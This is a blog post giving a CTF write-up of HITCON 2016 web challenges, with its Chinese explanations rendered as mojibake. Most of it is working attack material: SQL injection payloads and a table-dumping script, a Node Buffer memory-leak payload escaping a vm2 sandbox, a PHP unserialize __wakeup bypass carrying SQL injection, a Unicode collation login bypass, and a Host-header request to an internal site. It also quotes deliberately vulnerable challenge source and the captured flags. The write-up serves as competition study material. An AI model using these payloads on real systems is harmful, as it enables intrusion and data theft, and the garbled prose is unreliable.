LoRexxar's Blog

hitcon2016 web writeup

2016/10/10

褰撳ぇ瀹跺湪涓虹鍥芥瘝浜插簡鐢熺殑鏃跺欙紝鎴戝湪鎵搇ctf锛屽綋澶у姝d负浼戞伅鑰屾悂缃殑浜嬫儏蹇欑鐨勬椂鍊欙紝鎴戝湪鎵揾itcon锛屼笉杩囪櫧鐒舵湁鐐瑰効杈涜嫤锛屼絾鏄竴鍦哄浗鍐呯殑浼樿川姣旇禌鍔犱笂椤剁骇鐨勫浗澶栨瘮璧涳紝杩樻槸璁╂垜鎵撳紑浜嗘柊涓栫晫鐨勫ぇ闂紝orange鑿婅嫞澶ф硶鍙尖



web

are you rich 1&2

璇村疄璇濊繖棰樺仛鐨勪篃鏄糠杩风硦绯婄殑锛屽弽姝e氨鏄帿鍚嶅叾濡欏氨done浜

绠鍗曟潵璇村氨鏄痝et address鍙互寰楀埌涓涓猙itcoin鐨刟ddress锛屼絾鏄噷闈㈠苟娌℃湁閽便

浣嗘槸璐拱flag鏄渶瑕侀挶鐨勩

缈讳簡缈诲彂鐜版槸瀛樺湪娉ㄥ叆锛屼絾鏄綋鏃朵篃娌℃兂鐫瑕佹敞鍏ワ紝鏄壘涓簡涓栫晫涓婃渶澶х殑bitcoin璐︽埛鍦板潃锛岀劧鍚庨氳繃鑱斿悎鏌ヨ缁曡繃瀵逛簬鍓嶇紑鍦板潃鐨勬鏌ワ紝鐒跺悗灏眃one浜嗭紝杩樻槸涓done鍙岄鈥

payload:

1
address=18AfZLTCK1ZByGLjbthXLKsZfcqy9N8Kjf' union select '1FeexV6bAHb8ybZjqQMjJrcCrHGW9sb6uF' limit 1,1#&flag_id=flag1&submit=

get

1
2
3
4
5
hitcon{4r3_y0u_r1ch?ju57_buy_7h3_fl4g!!}
Well done!
Aww yeah, you successfully read this important message. Thank you for buying flag.
Here's your flag: Flag2 is: hitcon{u51n6_07h3r_6uy5_b17c0n_70_byp455_ch3ck1n6_15_fun!!}

鍚庢潵鍙戠幇杩欓噷鍏跺疄鏄敞鍏

https://www.eugenekolo.com/blog/hitcon-ctf-2016-writeups/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
URL = 'http://52.197.140.254/are_you_rich/verify.php'
for i in range(0, 100):
address = r"d' AND 1=2 UNION ALL SELECT table_name from information_schema.tables LIMIT {},1 #".format(str(i))
print(address)
data = {'address': address,
'flag_id': 'flag2',
'submit': 1}
r = requests.post(URL, data=data)
if 'not have enough' not in r.text:
print(r.text)
1
d' AND 1=2 UNION ALL SELECT flag from flag1 #

leaking

涓婃潵灏辨槸浠g爜瀹¤锛屽畾鏅朵竴鐪嬪彂鐜版槸node浠g爜锛屽緢鐐

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
"use strict";
var randomstring = require("randomstring");
var express = require("express");
var {VM} = require("vm2");
var fs = require("fs");
var app = express();
var flag = require("./config.js").flag
app.get("/", function (req, res) {
res.header("Content-Type", "text/plain");
/* Orange is so kind so he put the flag here. But if you can guess correctly :P */
eval("var flag_" + randomstring.generate(64) + " = \"hitcon{" + flag + "}\";")
if (req.query.data && req.query.data.length <= 12) {
var vm = new VM({
timeout: 1000
});
console.log(req.query.data);
res.send("eval ->" + vm.run(req.query.data));
} else {
res.send(fs.readFileSync(__filename).toString());
}
});
app.listen(3000, function () {
console.log("listening on port 3000!");

鍏舵牳蹇冮昏緫绠鍗曟潵璇村氨鏄妸浼犲叆鐨勪唬鐮佹斁鍒颁簡vm铏氭嫙鏈轰腑锛屾湁鏈鍩虹鐨刵ode鐜銆

杩欓噷灏辨湁浜嗛棶棰橈紝鏃㈢劧鏄櫄鎷熸満锛屾庝箞璁块棶铏氭嫙鏈哄鐨刢onfig.js鎴栬呮槸鍙橀噺鍛紵

鐩村埌鎵惧埌浜嗚繖绡囨枃绔

https://github.com/ChALkeR/notes/blob/master/Buffer-knows-everything.md

浣庣増鏈殑node鍙互浣跨敤buffer()鏉ユ煡鐪嬪唴瀛橈紝鍙璋冪敤杩囩殑鍙橀噺锛岄兘浼氬瓨鍦ㄥ唴瀛樹腑锛岄偅涔堟垜浠彲浠ユ瀯閫爌aylaod璇诲彇鍐呭瓨

payload:

1
2
http://52.198.115.130:3000/?data[]=for (var step = 0; step < 100000; step++) {var buf = (new Buffer(100)).toString('ascii');if (buf.indexOf("hitcon{") !== -1) {break;}}buf;
flag: hitcon{4nother h34rtbleed in n0dejs? or do u solved by other way?}

鏈変釜灏弔ips鏄暟缁勫彲浠ョ粫杩囬暱搴︾殑闄愬埗

secret post 1&2

鎵撳紑鐪嬪張鏄唬鐮佸璁★紝杩欐鏄痜lask

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
from flask import Flask
import config
# init app
app = Flask(__name__)
app.secret_key = config.flag1
accept_datatype = ['json', 'yaml']
from flask import Response
from flask import request, session
from flask import redirect, url_for, safe_join, abort
from flask import render_template_string
# load utils
def load_eval(data):
return eval(data)
def load_pickle(data):
import pickle
return pickle.loads(data)
def load_json(data):
import json
return json.loads(data)
def load_yaml(data):
import yaml
return yaml.load(data)
# dump utils
def dump_eval(data):
return repr(data)
def dump_pickle(data):
import pickle
return pickle.dumps(data)
def dump_json(data):
import json
return json.dumps(data)
def dump_yaml(data):
import yaml
return yaml.dump(data)
def render_template(filename, **args):
with open(safe_join(app.template_folder, filename)) as f:
template = f.read()
name = session.get('name', 'anonymous')[:10]
return render_template_string(template.format(name=name), **args)
def load_posts():
handlers = {
# disabled insecure data type
#"eval": load_eval,
#"pickle": load_pickle,
"json": load_json,
"yaml": load_yaml
}
datatype = session.get("post_type", config.default_datatype)
data = session.get("post_data", config.default_data)
if datatype not in handlers: abort(403)
return handlers[datatype](data)
def store_posts(posts, datatype):
handlers = {
"eval": dump_eval,
"pickle": dump_pickle,
"json": dump_json,
"yaml": dump_yaml
}
if datatype not in handlers: abort(403)
data = handlers[datatype](posts)
session["post_type"] = datatype
session["post_data"] = data
@app.route('/')
def index():
posts = load_posts()
return render_template('index.html', posts = posts, accept_datatype = accept_datatype)
@app.route('/post', methods=['POST'])
def add_post():
posts = load_posts()
title = request.form.get('title', 'empty')
content = request.form.get('content', 'empty')
datatype = request.form.get('datatype', 'json')
if datatype not in accept_datatype: abort(403)
name = request.form.get('author', 'anonymous')[:10]
from datetime import datetime
posts.append({
'title': title,
'author': name,
'content': content,
'date': datetime.now().strftime("%B %d, %Y %X")
})
session["name"] = name
store_posts(posts, datatype)
return redirect(url_for('index'))
@app.route('/source')
def get_source():
with open(__file__, "r") as f:
resp = f.read()
return Response(resp, mimetype="text/plain")

鍥犱负棰樼洰涓嶆槸鎴戝仛鐨勶紝鎵浠ヨ繖閲岋紝鍏堟斁涓婂埆浜虹殑wp锛岀瓑鐮旂┒鏄庣櫧鍚庡啀琛ラ綈wp

https://www.eugenekolo.com/blog/hitcon-ctf-2016-writeups/

baby trick

缁堜簬鍒颁簡php鐨勪唬鐮佸璁★紝鍏堢湅鐪嬩唬鐮

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
<?php
include "config.php";
class HITCON{
private $method;
private $args;
private $conn;
public function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
$this->__conn();
}
function show() {
list($username) = func_get_args();
$sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);
$obj = $this->__query($sql);
var_dump($sql);
var_dump($obj);
if ( $obj != false ) {
$this->__die( sprintf("%s is %s", $obj->username, $obj->role) );
} else {
$this->__die("Nobody Nobody But You!");
}
}
function login() {
global $FLAG;
list($username, $password) = func_get_args();
$username = strtolower(trim(mysql_escape_string($username)));
$password = strtolower(trim(mysql_escape_string($password)));
$sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);
var_dump($sql);
if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
$this->__die("Orange is so shy. He do not want to see you.");
}
$obj = $this->__query($sql);
if ( $obj != false && $obj->role == 'admin' ) {
$this->__die("Hi, Orange! Here is your flag: " . $FLAG);
} else {
$this->__die("Admin only!");
}
}
function source() {
highlight_file(__FILE__);
}
function __conn() {
global $db_host, $db_name, $db_user, $db_pass, $DEBUG;
if (!$this->conn)
$this->conn = mysql_connect($db_host, $db_user, $db_pass);
mysql_select_db($db_name, $this->conn);
if ($DEBUG) {
$sql = "CREATE TABLE IF NOT EXISTS users (
username VARCHAR(64),
password VARCHAR(64),
role VARCHAR(64)
) CHARACTER SET utf8";
$this->__query($sql, $back=false);
$sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
$this->__query($sql, $back=false);
}
mysql_query("SET names utf8");
mysql_query("SET sql_mode = 'strict_all_tables'");
}
function __query($sql, $back=true) {
$result = @mysql_query($sql);
if ($back) {
return @mysql_fetch_object($result);
}
}
function __die($msg) {
$this->__close();
header("Content-Type: application/json");
die( json_encode( array("msg"=> $msg) ) );
}
function __close() {
mysql_close($this->conn);
}
function __destruct() {
$this->__conn();
if (in_array($this->method, array("show", "login", "source"))) {
@call_user_func_array(array($this, $this->method), $this->args);
} else {
$this->__die("What do you do?");
}
$this->__close();
}
function __wakeup() {
foreach($this->args as $k => $v) {
$this->args[$k] = strtolower(trim(mysql_escape_string($v)));
}
}
}
if(isset($_GET["data"])) {
@unserialize($_GET["data"]);
} else {
$hitcon = new HITCON("source", array());
}

鍏堝垎鏋愰昏緫

data璇诲叆->鍙嶅簭鍒楀寲->wakeup鎵ц锛堜竴娆¤繃婊わ級->destruct鎵ц锛堣皟鐢ㄥ搴旂殑鍑芥暟锛->show(璇诲叆username鏌ヨ)

杩欐牱鐪嬪簲璇ュ緢鏄庢樉浜嗭紝show閫昏緫鏄庢樉瀛樺湪娉ㄥ叆锛宊_wakeup缁曡繃灏变笉澶氳浜嗭紝lctf鍒氬垰鎵嶅嚭杩囩殑cve銆

閭d箞鏋勯爌ayload

1
2
3
4
http://52.198.42.246?data=O%3A6%3A%22HITCON%22%3A5%3A%7Bs%3A14%3A%22%00HITCON%00method%22%3Bs%3A4%3A%22show%22%3Bs%3A12%3A%22%00HITCON%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A81%3A%22orange%27+union+select+password%2C1%2C1+from+users+where+username+%3D+%27orange%27+limit+1%2C1%23%22%3B%7Ds%3A12%3A%22%00HITCON%00conn%22%3Bi%3A0%3B%7D
{"msg":"babytrick1234 is 1"}

杩欓噷鎴戜滑寰楀埌浜唎range璐︽埛鐨勫瘑鐮

鐒跺悗灏卞埌浜嗙浜屾

1
2
3
4
if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
$this->__die("Orange is so shy. He do not want to see you.");
}

杩欓噷寮濮嬩竴鐩存病鏈夋兂娉曪紝浣嗘槸鍚庢潵鐪嬪埌浜嗚繖涓

1
MYSQL 涓 utf8_unicode_ci 鍜 utf8_general_ci 涓ょ缂栫爜鏍煎紡, utf8_general_ci涓嶅尯鍒嗗ぇ灏忓啓, 脛 = A, 脰 = O, 脺 = U 杩欎笁绉嶆潯浠堕兘鎴愮珛, 瀵逛簬utf8_general_ci涓嬮潰鐨勭瓑寮忔垚绔嬶細脽 = s 锛屼絾鏄紝瀵逛簬utf8_unicode_ci涓嬮潰绛夊紡鎵嶆垚绔嬶細脽 = ss 銆

鎵浠ユ瀯閫爌ayload

1
2
3
4
5
http://52.198.42.246?data=O%3A6%3A%22HITCON%22%3A3%3A%7Bs%3A14%3A%22%00HITCON%00method%22%3Bs%3A5%3A%22login%22%3Bs%3A12%3A%22%00HITCON%00args%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A7%3A%22%C3%96range%22%3Bi%3A1%3Bs%3A13%3A%22babytrick1234%22%3B%7Ds%3A12%3A%22%00HITCON%00conn%22%3Bi%3A0%3B%7D
{"msg":"Hi, Orange! Here is your flag: hitcon{php 4nd mysq1 are s0 mag1c, isn't it?}"}

寰堝己鍔

%%%

棰樼洰寰堢畝鍗曪紝浣嗘槸鍦ㄥ疄闄呮棩绔欑殑鏃跺欙紝鏈夊緢澶氭椂鍊欓兘鑳界敤寰楀埌

鎵撳紑鍙戠幇鏄嚜绛惧悕鐨刪ttps锛岄偅涔堢悊鎵褰撶劧鐪嬩簡涓嬭瘉涔︽潵婧

鍙戠幇浜嗙壒娈婄殑鍩熷悕

1
very-secret-area-for-ctf.orange.tw

浣嗘槸澶栫綉骞朵笉鑳借闂紝閭d箞鎴戜滑鐚滄祴杩欐槸浣跨敤浜嗗唴缃戠殑dns鏈嶅姟鍣

閭d箞鎴戜滑灏遍氳繃淇敼host鐨勬柟寮忔潵浣跨敤鍐呯綉鐨刣ns

鏋勯犺姹

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
GET /index.php HTTP/1.1
Host: very-secret-area-for-ctf.orange.tw
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Sun, 09 Oct 2016 16:04:41 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.19
Content-Length: 64
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
<pre>Nice, here is your flag: hitcon{hihihi, how 4re y0u today?}
CATALOG
  1. 1. web
    1. 1.1. are you rich 1&2
    2. 1.2. leaking
    3. 1.3. secret post 1&2
    4. 1.4. baby trick
    5. 1.5. %%%